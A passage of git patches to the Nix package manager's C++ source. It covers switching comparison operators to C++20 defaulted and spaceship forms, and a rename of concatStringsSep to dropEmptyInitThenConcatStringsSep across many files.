setPathDisplay(std::string displayPrefix, std::string displaySuffix = ""); diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc index 023b5ed4b..759d3c355 100644 --- a/src/libutil/source-path.cc +++ b/src/libutil/source-path.cc @@ -47,19 +47,14 @@ SourcePath SourcePath::operator / (const CanonPath & x) const SourcePath SourcePath::operator / (std::string_view c) const { return {accessor, path / c}; } -bool SourcePath::operator==(const SourcePath & x) const +bool SourcePath::operator==(const SourcePath & x) const noexcept { return std::tie(*accessor, path) == std::tie(*x.accessor, x.path); } -bool SourcePath::operator!=(const SourcePath & x) const +std::strong_ordering SourcePath::operator<=>(const SourcePath & x) const noexcept { - return std::tie(*accessor, path) != std::tie(*x.accessor, x.path); -} - -bool SourcePath::operator<(const SourcePath & x) const -{ - return std::tie(*accessor, path) < std::tie(*x.accessor, x.path); + return std::tie(*accessor, path) <=> std::tie(*x.accessor, x.path); } std::ostream & operator<<(std::ostream & str, const SourcePath & path) diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 83ec6295d..faf0a5a31 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -103,9 +103,8 @@ struct SourcePath */ SourcePath operator / (std::string_view c) const; - bool operator==(const SourcePath & x) const; - bool operator!=(const SourcePath & x) const; - bool operator<(const SourcePath & x) const; + bool operator==(const SourcePath & x) const noexcept; + std::strong_ordering operator<=>(const SourcePath & x) const noexcept; /** * Convenience wrapper around `SourceAccessor::resolveSymlinks()`. diff --git a/src/libutil/suggestions.hh b/src/libutil/suggestions.hh index 17d1d69c1..e39ab400c 100644 --- a/src/libutil/suggestions.hh +++ b/src/libutil/suggestions.hh @@ -1,7 +1,6 @@ #pragma once ///@file -#include "comparator.hh" #include "types.hh" #include @@ -20,7 +19,8 @@ public: std::string to_string() const; - GENERATE_CMP(Suggestion, me->distance, me->suggestion) + bool operator ==(const Suggestion &) const = default; + auto operator <=>(const Suggestion &) const = default; }; class Suggestions { diff --git a/src/libutil/url.cc b/src/libutil/url.cc index f4178f87f..bcbe9ea4e 100644 --- a/src/libutil/url.cc +++ b/src/libutil/url.cc @@ -132,7 +132,7 @@ std::string ParsedURL::to_string() const + (fragment.empty() ? "" : "#" + percentEncode(fragment)); } -bool ParsedURL::operator ==(const ParsedURL & other) const +bool ParsedURL::operator ==(const ParsedURL & other) const noexcept { return scheme == other.scheme diff --git a/src/libutil/url.hh b/src/libutil/url.hh index 6cd06e53d..738ee9f82 100644 --- a/src/libutil/url.hh +++ b/src/libutil/url.hh @@ -18,7 +18,7 @@ struct ParsedURL std::string to_string() const; - bool operator ==(const ParsedURL & other) const; + bool operator ==(const ParsedURL & other) const noexcept; /** * Remove `.` and `..` path elements. diff --git a/src/nix/profile.cc b/src/nix/profile.cc index bb6424c4f..78532a2ec 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -27,7 +27,9 @@ struct ProfileElementSource std::string attrPath; ExtendedOutputsSpec outputs; - bool operator < (const ProfileElementSource & other) const + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + //auto operator <=> (const ProfileElementSource & other) const + auto operator < (const ProfileElementSource & other) const { return std::tuple(originalRef.to_string(), attrPath, outputs) < diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index a0125d023..3d01d9806 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -229,7 +229,7 @@ TEST_F(GitTest, both_roundrip) { mkSinkHook(CanonPath::root, root.hash, BlobMode::Regular); - ASSERT_EQ(*files, *files2); + ASSERT_EQ(files->root, files2->root); } TEST(GitLsRemote, parseSymrefLineWithReference) { From 1a8defd06f6b9fb1867680a053dd23dfccd5df50 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 22:09:27 +0200 Subject: [PATCH 1051/1251] Refactor: rename C++ concatStringsSep -> dropEmptyInitThenConcatStringsSep --- src/build-remote/build-remote.cc | 8 ++++---- src/libcmd/command.cc | 2 +- src/libcmd/installables.cc | 4 ++-- src/libcmd/repl.cc | 2 +- src/libexpr/eval-cache.cc | 6 +++--- src/libflake/flake/config.cc | 2 +- src/libflake/flake/lockfile.cc | 4 ++-- src/libmain/shared.cc | 6 +++--- src/libstore/build/derivation-goal.cc | 4 ++-- src/libstore/build/entry-points.cc | 2 +- src/libstore/globals.cc | 2 +- src/libstore/local-store.cc | 8 ++++---- src/libstore/misc.cc | 2 +- src/libstore/nar-info-disk-cache.cc | 4 ++-- src/libstore/nar-info.cc | 2 +- src/libstore/outputs-spec.cc | 2 +- src/libstore/path-info.cc | 2 +- src/libstore/path-with-outputs.cc | 2 +- src/libstore/store-api.cc | 2 +- src/libstore/unix/build/hook-instance.cc | 2 +- src/libstore/unix/build/local-derivation-goal.cc | 8 ++++---- src/libutil/config.cc | 8 ++++---- src/libutil/util.hh | 4 ++-- src/nix/develop.cc | 2 +- src/nix/diff-closures.cc | 4 ++-- src/nix/env.cc | 2 +- src/nix/flake.cc | 10 +++++----- src/nix/main.cc | 6 +++--- src/nix/path-info.cc | 2 +- src/nix/profile.cc | 6 +++--- src/nix/search.cc | 4 ++-- tests/unit/libutil/references.cc | 2 +- tests/unit/libutil/tests.cc | 14 +++++++------- 33 files changed, 70 insertions(+), 70 deletions(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 582e6d623..1c3ce930a 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -206,15 +206,15 @@ static int main_build_remote(int argc, char * * argv) error % drvstr % neededSystem - % concatStringsSep(", ", requiredFeatures) + % dropEmptyInitThenConcatStringsSep(", ", requiredFeatures) % machines.size(); for (auto & m : machines) error - % concatStringsSep(", ", m.systemTypes) + % dropEmptyInitThenConcatStringsSep(", ", m.systemTypes) % m.maxJobs - % concatStringsSep(", ", m.supportedFeatures) - % concatStringsSep(", ", m.mandatoryFeatures); + % dropEmptyInitThenConcatStringsSep(", ", m.supportedFeatures) + % dropEmptyInitThenConcatStringsSep(", ", m.mandatoryFeatures); printMsg(couldBuildLocally ? lvlChatty : lvlWarn, error.str()); diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index e0e5f0890..891a01f91 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -42,7 +42,7 @@ void NixMultiCommand::run() for (auto & [name, _] : commands) subCommandTextLines.insert(fmt("- `%s`", name)); std::string markdownError = fmt("`nix %s` requires a sub-command. Available sub-commands:\n\n%s\n", - commandName, concatStringsSep("\n", subCommandTextLines)); + commandName, dropEmptyInitThenConcatStringsSep("\n", subCommandTextLines)); throw UsageError(renderMarkdownToTerminal(markdownError)); } command->second->run(); diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 417e15094..1f6ee1e23 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -374,7 +374,7 @@ void completeFlakeRefWithFragment( auto attrPath2 = (*attr)->getAttrPath(attr2); /* Strip the attrpath prefix. */ attrPath2.erase(attrPath2.begin(), attrPath2.begin() + attrPathPrefix.size()); - completions.add(flakeRefS + "#" + prefixRoot + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); + completions.add(flakeRefS + "#" + prefixRoot + dropEmptyInitThenConcatStringsSep(".", evalState->symbols.resolve(attrPath2))); } } } @@ -630,7 +630,7 @@ static void throwBuildErrors( } failedPaths.insert(failedResult->path.to_string(store)); } - throw Error("build of %s failed", concatStringsSep(", ", quoteStrings(failedPaths))); + throw Error("build of %s failed", dropEmptyInitThenConcatStringsSep(", ", quoteStrings(failedPaths))); } } } diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 3dd19ce39..1d39ef167 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -625,7 +625,7 @@ ProcessLineResult NixRepl::processLine(std::string line) markdown += "**Synopsis:** `builtins." + (std::string) (*doc->name) + "` " - + concatStringsSep(" ", args) + "\n\n"; + + dropEmptyInitThenConcatStringsSep(" ", args) + "\n\n"; } markdown += stripIndentation(doc->doc); diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 46dd3691c..e573fe884 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -225,7 +225,7 @@ struct AttrDb (key.first) (symbols[key.second]) (AttrType::ListOfStrings) - (concatStringsSep("\t", l)).exec(); + (dropEmptyInitThenConcatStringsSep("\t", l)).exec(); return state->db.getLastInsertedRowId(); }); @@ -435,12 +435,12 @@ std::vector AttrCursor::getAttrPath(Symbol name) const std::string AttrCursor::getAttrPathStr() const { - return concatStringsSep(".", root->state.symbols.resolve(getAttrPath())); + return dropEmptyInitThenConcatStringsSep(".", root->state.symbols.resolve(getAttrPath())); } std::string AttrCursor::getAttrPathStr(Symbol name) const { - return concatStringsSep(".", root->state.symbols.resolve(getAttrPath(name))); + return dropEmptyInitThenConcatStringsSep(".", root->state.symbols.resolve(getAttrPath(name))); } Value & AttrCursor::forceValue() diff --git a/src/libflake/flake/config.cc b/src/libflake/flake/config.cc index 4e00d5c93..e526cdddf 100644 --- a/src/libflake/flake/config.cc +++ b/src/libflake/flake/config.cc @@ -47,7 +47,7 @@ void ConfigFile::apply(const Settings & flakeSettings) else if (auto* b = std::get_if>(&value)) valueS = b->t ? "true" : "false"; else if (auto ss = std::get_if>(&value)) - valueS = concatStringsSep(" ", *ss); // FIXME: evil + valueS = dropEmptyInitThenConcatStringsSep(" ", *ss); // FIXME: evil else assert(false); diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index 792dda740..f0e22a75a 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -61,7 +61,7 @@ static std::shared_ptr doFind(const ref& root, const InputPath & pat std::vector cycle; std::transform(found, visited.cend(), std::back_inserter(cycle), printInputPath); cycle.push_back(printInputPath(path)); - throw Error("follow cycle detected: [%s]", concatStringsSep(" -> ", cycle)); + throw Error("follow cycle detected: [%s]", dropEmptyInitThenConcatStringsSep(" -> ", cycle)); } visited.push_back(path); @@ -367,7 +367,7 @@ void check(); std::string printInputPath(const InputPath & path) { - return concatStringsSep("/", path); + return dropEmptyInitThenConcatStringsSep("/", path); } } diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index fee4d0c1e..681c1039f 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -301,11 +301,11 @@ void printVersion(const std::string & programName) #endif cfg.push_back("signed-caches"); std::cout << "System type: " << settings.thisSystem << "\n"; - std::cout << "Additional system types: " << concatStringsSep(", ", settings.extraPlatforms.get()) << "\n"; - std::cout << "Features: " << concatStringsSep(", ", cfg) << "\n"; + std::cout << "Additional system types: " << dropEmptyInitThenConcatStringsSep(", ", settings.extraPlatforms.get()) << "\n"; + std::cout << "Features: " << dropEmptyInitThenConcatStringsSep(", ", cfg) << "\n"; std::cout << "System configuration file: " << settings.nixConfDir + "/nix.conf" << "\n"; std::cout << "User configuration files: " << - concatStringsSep(":", settings.nixUserConfFiles) + dropEmptyInitThenConcatStringsSep(":", settings.nixUserConfFiles) << "\n"; std::cout << "Store directory: " << settings.nixStore << "\n"; std::cout << "State directory: " << settings.nixStateDir << "\n"; diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 64b8495e1..c0a784349 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -895,7 +895,7 @@ void runPostBuildHook( std::map hookEnvironment = getEnv(); hookEnvironment.emplace("DRV_PATH", store.printStorePath(drvPath)); - hookEnvironment.emplace("OUT_PATHS", chomp(concatStringsSep(" ", store.printStorePathSet(outputPaths)))); + hookEnvironment.emplace("OUT_PATHS", chomp(dropEmptyInitThenConcatStringsSep(" ", store.printStorePathSet(outputPaths)))); hookEnvironment.emplace("NIX_CONFIG", globalConfig.toKeyValue()); struct LogSink : Sink { @@ -1505,7 +1505,7 @@ std::pair DerivationGoal::checkPathValidity() if (!wantedOutputsLeft.empty()) throw Error("derivation '%s' does not have wanted outputs %s", worker.store.printStorePath(drvPath), - concatStringsSep(", ", quoteStrings(wantedOutputsLeft))); + dropEmptyInitThenConcatStringsSep(", ", quoteStrings(wantedOutputsLeft))); bool allValid = true; for (auto & [_, status] : initialOutputs) { diff --git a/src/libstore/build/entry-points.cc b/src/libstore/build/entry-points.cc index 784f618c1..8bf7ad35d 100644 --- a/src/libstore/build/entry-points.cc +++ b/src/libstore/build/entry-points.cc @@ -42,7 +42,7 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod throw std::move(*ex); } else if (!failed.empty()) { if (ex) logError(ex->info()); - throw Error(worker.failingExitStatus(), "build of %s failed", concatStringsSep(", ", quoteStrings(failed))); + throw Error(worker.failingExitStatus(), "build of %s failed", dropEmptyInitThenConcatStringsSep(", ", quoteStrings(failed))); } } diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 7e1d7ea6d..5f5b4f89b 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -82,7 +82,7 @@ Settings::Settings() Strings ss; for (auto & p : tokenizeString(*s, ":")) ss.push_back("@" + p); - builders = concatStringsSep(" ", ss); + builders = dropEmptyInitThenConcatStringsSep(" ", ss); } #if defined(__linux__) && defined(SANDBOX_SHELL) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 2b4e01eb3..8764b88b7 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -656,7 +656,7 @@ void LocalStore::registerDrvOutput(const Realisation & info) combinedSignatures.insert(info.signatures.begin(), info.signatures.end()); state->stmts->UpdateRealisedOutput.use() - (concatStringsSep(" ", combinedSignatures)) + (dropEmptyInitThenConcatStringsSep(" ", combinedSignatures)) (info.id.strHash()) (info.id.outputName) .exec(); @@ -675,7 +675,7 @@ void LocalStore::registerDrvOutput(const Realisation & info) (info.id.strHash()) (info.id.outputName) (printStorePath(info.outPath)) - (concatStringsSep(" ", info.signatures)) + (dropEmptyInitThenConcatStringsSep(" ", info.signatures)) .exec(); } for (auto & [outputId, depPath] : info.dependentRealisations) { @@ -729,7 +729,7 @@ uint64_t LocalStore::addValidPath(State & state, (info.deriver ? printStorePath(*info.deriver) : "", (bool) info.deriver) (info.narSize, info.narSize != 0) (info.ultimate ? 1 : 0, info.ultimate) - (concatStringsSep(" ", info.sigs), !info.sigs.empty()) + (dropEmptyInitThenConcatStringsSep(" ", info.sigs), !info.sigs.empty()) (renderContentAddress(info.ca), (bool) info.ca) .exec(); uint64_t id = state.db.getLastInsertedRowId(); @@ -833,7 +833,7 @@ void LocalStore::updatePathInfo(State & state, const ValidPathInfo & info) (info.narSize, info.narSize != 0) (info.narHash.to_string(HashFormat::Base16, true)) (info.ultimate ? 1 : 0, info.ultimate) - (concatStringsSep(" ", info.sigs), !info.sigs.empty()) + (dropEmptyInitThenConcatStringsSep(" ", info.sigs), !info.sigs.empty()) (renderContentAddress(info.ca), (bool) info.ca) (printStorePath(info.path)) .exec(); diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index dd0efbe19..179e5478c 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -464,7 +464,7 @@ OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd) if (!outputsLeft.empty()) throw Error("derivation '%s' does not have an outputs %s", store.printStorePath(drvPath), - concatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); + dropEmptyInitThenConcatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); return outputMap; } diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index 07beb8acb..42d172237 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -337,9 +337,9 @@ public: (narInfo ? narInfo->fileSize : 0, narInfo != 0 && narInfo->fileSize) (info->narHash.to_string(HashFormat::Nix32, true)) (info->narSize) - (concatStringsSep(" ", info->shortRefs())) + (dropEmptyInitThenConcatStringsSep(" ", info->shortRefs())) (info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver) - (concatStringsSep(" ", info->sigs)) + (dropEmptyInitThenConcatStringsSep(" ", info->sigs)) (renderContentAddress(info->ca)) (time(0)).exec(); diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index 3e0a754f9..577466f55 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -111,7 +111,7 @@ std::string NarInfo::to_string(const Store & store) const res += "NarHash: " + narHash.to_string(HashFormat::Nix32, true) + "\n"; res += "NarSize: " + std::to_string(narSize) + "\n"; - res += "References: " + concatStringsSep(" ", shortRefs()) + "\n"; + res += "References: " + dropEmptyInitThenConcatStringsSep(" ", shortRefs()) + "\n"; if (deriver) res += "Deriver: " + std::string(deriver->to_string()) + "\n"; diff --git a/src/libstore/outputs-spec.cc b/src/libstore/outputs-spec.cc index 21c069223..4ed8f95ae 100644 --- a/src/libstore/outputs-spec.cc +++ b/src/libstore/outputs-spec.cc @@ -83,7 +83,7 @@ std::string OutputsSpec::to_string() const return "*"; }, [&](const OutputsSpec::Names & outputNames) -> std::string { - return concatStringsSep(",", outputNames); + return dropEmptyInitThenConcatStringsSep(",", outputNames); }, }, raw); } diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index 51ed5fc62..a13bb8bef 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -30,7 +30,7 @@ std::string ValidPathInfo::fingerprint(const Store & store) const "1;" + store.printStorePath(path) + ";" + narHash.to_string(HashFormat::Nix32, true) + ";" + std::to_string(narSize) + ";" - + concatStringsSep(",", store.printStorePathSet(references)); + + dropEmptyInitThenConcatStringsSep(",", store.printStorePathSet(references)); } diff --git a/src/libstore/path-with-outputs.cc b/src/libstore/path-with-outputs.cc index 026e37647..5fa38d5d9 100644 --- a/src/libstore/path-with-outputs.cc +++ b/src/libstore/path-with-outputs.cc @@ -9,7 +9,7 @@ std::string StorePathWithOutputs::to_string(const StoreDirConfig & store) const { return outputs.empty() ? store.printStorePath(path) - : store.printStorePath(path) + "!" + concatStringsSep(",", outputs); + : store.printStorePath(path) + "!" + dropEmptyInitThenConcatStringsSep(",", outputs); } diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 05c4e1c5e..6904996b5 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -1208,7 +1208,7 @@ std::string StoreDirConfig::showPaths(const StorePathSet & paths) std::string showPaths(const PathSet & paths) { - return concatStringsSep(", ", quoteStrings(paths)); + return dropEmptyInitThenConcatStringsSep(", ", quoteStrings(paths)); } diff --git a/src/libstore/unix/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc index dfc208798..ba6c3a912 100644 --- a/src/libstore/unix/build/hook-instance.cc +++ b/src/libstore/unix/build/hook-instance.cc @@ -8,7 +8,7 @@ namespace nix { HookInstance::HookInstance() { - debug("starting build hook '%s'", concatStringsSep(" ", settings.buildHook.get())); + debug("starting build hook '%s'", dropEmptyInitThenConcatStringsSep(" ", settings.buildHook.get())); auto buildHookArgs = settings.buildHook.get(); diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index d5a3e0034..2ab4334e9 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -496,10 +496,10 @@ void LocalDerivationGoal::startBuilder() if (!parsedDrv->canBuildLocally(worker.store)) throw Error("a '%s' with features {%s} is required to build '%s', but I am a '%s' with features {%s}", drv->platform, - concatStringsSep(", ", parsedDrv->getRequiredSystemFeatures()), + dropEmptyInitThenConcatStringsSep(", ", parsedDrv->getRequiredSystemFeatures()), worker.store.printStorePath(drvPath), settings.thisSystem, - concatStringsSep(", ", worker.store.systemFeatures)); + dropEmptyInitThenConcatStringsSep(", ", worker.store.systemFeatures)); /* Create a temporary directory where the build will take place. */ @@ -840,7 +840,7 @@ void LocalDerivationGoal::startBuilder() /* Run the builder. */ printMsg(lvlChatty, "executing builder '%1%'", drv->builder); - printMsg(lvlChatty, "using builder args '%1%'", concatStringsSep(" ", drv->args)); + printMsg(lvlChatty, "using builder args '%1%'", dropEmptyInitThenConcatStringsSep(" ", drv->args)); for (auto & i : drv->env) printMsg(lvlVomit, "setting builder env variable '%1%'='%2%'", i.first, i.second); @@ -1063,7 +1063,7 @@ void LocalDerivationGoal::startBuilder() e.addTrace({}, "while waiting for the build environment for '%s' to initialize (%s, previous messages: %s)", worker.store.printStorePath(drvPath), statusToString(status), - concatStringsSep("|", msgs)); + dropEmptyInitThenConcatStringsSep("|", msgs)); throw; } }(); diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 907ca7fc1..81ec9a4c3 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -152,7 +152,7 @@ static void parseConfigFiles(const std::string & contents, const std::string & p parsedContents.push_back({ std::move(name), - concatStringsSep(" ", Strings(i, tokens.end())), + dropEmptyInitThenConcatStringsSep(" ", Strings(i, tokens.end())), }); }; } @@ -318,7 +318,7 @@ template<> void BaseSetting::appendOrSet(Strings newValue, bool append) template<> std::string BaseSetting::to_string() const { - return concatStringsSep(" ", value); + return dropEmptyInitThenConcatStringsSep(" ", value); } template<> StringSet BaseSetting::parse(const std::string & str) const @@ -334,7 +334,7 @@ template<> void BaseSetting::appendOrSet(StringSet newValue, bool app template<> std::string BaseSetting::to_string() const { - return concatStringsSep(" ", value); + return dropEmptyInitThenConcatStringsSep(" ", value); } template<> std::set BaseSetting>::parse(const std::string & str) const @@ -362,7 +362,7 @@ template<> std::string BaseSetting>::to_string() c StringSet stringifiedXpFeatures; for (const auto & feature : value) stringifiedXpFeatures.insert(std::string(showExperimentalFeature(feature))); - return concatStringsSep(" ", stringifiedXpFeatures); + return dropEmptyInitThenConcatStringsSep(" ", stringifiedXpFeatures); } template<> StringMap BaseSetting::parse(const std::string & str) const diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 23682ff7c..66cef62ed 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -37,7 +37,7 @@ template C tokenizeString(std::string_view s, std::string_view separato * elements. */ template -std::string concatStringsSep(const std::string_view sep, const C & ss) +std::string dropEmptyInitThenConcatStringsSep(const std::string_view sep, const C & ss) { size_t size = 0; // need a cast to string_view since this is also called with Symbols @@ -56,7 +56,7 @@ auto concatStrings(Parts && ... parts) -> std::enable_if_t<(... && std::is_convertible_v), std::string> { std::string_view views[sizeof...(parts)] = { parts... }; - return concatStringsSep({}, views); + return dropEmptyInitThenConcatStringsSep({}, views); } diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 6bd3dc9ef..807c75d4a 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -608,7 +608,7 @@ struct CmdDevelop : Common, MixEnvironment std::vector args; for (auto s : command) args.push_back(shellEscape(s)); - script += fmt("exec %s\n", concatStringsSep(" ", args)); + script += fmt("exec %s\n", dropEmptyInitThenConcatStringsSep(" ", args)); } else { diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index c7c37b66f..204213396 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -49,7 +49,7 @@ std::string showVersions(const std::set & versions) std::set versions2; for (auto & version : versions) versions2.insert(version.empty() ? "ε" : version); - return concatStringsSep(", ", versions2); + return dropEmptyInitThenConcatStringsSep(", ", versions2); } void printClosureDiff( @@ -97,7 +97,7 @@ void printClosureDiff( items.push_back(fmt("%s → %s", showVersions(removed), showVersions(added))); if (showDelta) items.push_back(fmt("%s%+.1f KiB" ANSI_NORMAL, sizeDelta > 0 ? ANSI_RED : ANSI_GREEN, sizeDelta / 1024.0)); - logger->cout("%s%s: %s", indent, name, concatStringsSep(", ", items)); + logger->cout("%s%s: %s", indent, name, dropEmptyInitThenConcatStringsSep(", ", items)); } } } diff --git a/src/nix/env.cc b/src/nix/env.cc index bc9cd91ad..7cc019c1d 100644 --- a/src/nix/env.cc +++ b/src/nix/env.cc @@ -94,7 +94,7 @@ struct CmdShell : InstallablesCommand, MixEnvironment auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end()); - auto unixPathString = concatStringsSep(":", unixPath); + auto unixPathString = dropEmptyInitThenConcatStringsSep(":", unixPath); setEnv("PATH", unixPathString.c_str()); Strings args; diff --git a/src/nix/flake.cc b/src/nix/flake.cc index cb73778b3..3ee2b1838 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -805,7 +805,7 @@ struct CmdFlakeCheck : FlakeCommand warn( "The check omitted these incompatible systems: %s\n" "Use '--all-systems' to check all.", - concatStringsSep(", ", omittedSystems) + dropEmptyInitThenConcatStringsSep(", ", omittedSystems) ); }; }; @@ -1211,7 +1211,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto attrPathS = state->symbols.resolve(attrPath); Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); + fmt("evaluating '%s'", dropEmptyInitThenConcatStringsSep(".", attrPathS))); try { auto recurse = [&]() @@ -1291,7 +1291,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--all-systems' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); } } else { if (visitor.isDerivation()) @@ -1315,13 +1315,13 @@ struct CmdFlakeShow : FlakeCommand, MixJSON if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--legacy' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--legacy' to show)", concatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--legacy' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); } } else if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--all-systems' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); } } else { if (visitor.isDerivation()) diff --git a/src/nix/main.cc b/src/nix/main.cc index e39f79f1f..aa4ced623 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -185,7 +185,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs auto & info = i->second; if (info.status == AliasStatus::Deprecated) { warn("'%s' is a deprecated alias for '%s'", - arg, concatStringsSep(" ", info.replacement)); + arg, dropEmptyInitThenConcatStringsSep(" ", info.replacement)); } pos = args.erase(pos); for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j) @@ -238,7 +238,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs lowdown. */ static void showHelp(std::vector subcommand, NixArgs & toplevel) { - auto mdName = subcommand.empty() ? "nix" : fmt("nix3-%s", concatStringsSep("-", subcommand)); + auto mdName = subcommand.empty() ? "nix" : fmt("nix3-%s", dropEmptyInitThenConcatStringsSep("-", subcommand)); evalSettings.restrictEval = false; evalSettings.pureEval = false; @@ -273,7 +273,7 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) auto attr = vRes->attrs()->get(state.symbols.create(mdName + ".md")); if (!attr) - throw UsageError("Nix has no subcommand '%s'", concatStringsSep("", subcommand)); + throw UsageError("Nix has no subcommand '%s'", dropEmptyInitThenConcatStringsSep("", subcommand)); auto markdown = state.forceString(*attr->value, noPos, "while evaluating the lowdown help text"); diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 47f9baee5..2383fbe08 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -185,7 +185,7 @@ struct CmdPathInfo : StorePathsCommand, MixJSON if (info->ultimate) ss.push_back("ultimate"); if (info->ca) ss.push_back("ca:" + renderContentAddress(*info->ca)); for (auto & sig : info->sigs) ss.push_back(sig); - std::cout << concatStringsSep(" ", ss); + std::cout << dropEmptyInitThenConcatStringsSep(" ", ss); } std::cout << std::endl; diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 78532a2ec..c21eb3040 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -58,7 +58,7 @@ struct ProfileElement StringSet names; for (auto & path : storePaths) names.insert(DrvName(path.name()).name); - return concatStringsSep(", ", names); + return dropEmptyInitThenConcatStringsSep(", ", names); } /** @@ -472,7 +472,7 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile originalConflictingFilePath, newConflictingFilePath, originalEntryName, - concatStringsSep(" ", newConflictingRefs), + dropEmptyInitThenConcatStringsSep(" ", newConflictingRefs), conflictError.priority, conflictError.priority - 1, conflictError.priority + 1 @@ -813,7 +813,7 @@ struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultPro logger->cout("Original flake URL: %s", element.source->originalRef.to_string()); logger->cout("Locked flake URL: %s", element.source->lockedRef.to_string()); } - logger->cout("Store paths: %s", concatStringsSep(" ", store->printStorePathSet(element.storePaths))); + logger->cout("Store paths: %s", dropEmptyInitThenConcatStringsSep(" ", store->printStorePathSet(element.storePaths))); } } } diff --git a/src/nix/search.cc b/src/nix/search.cc index 97ef1375e..d709774ad 100644 --- 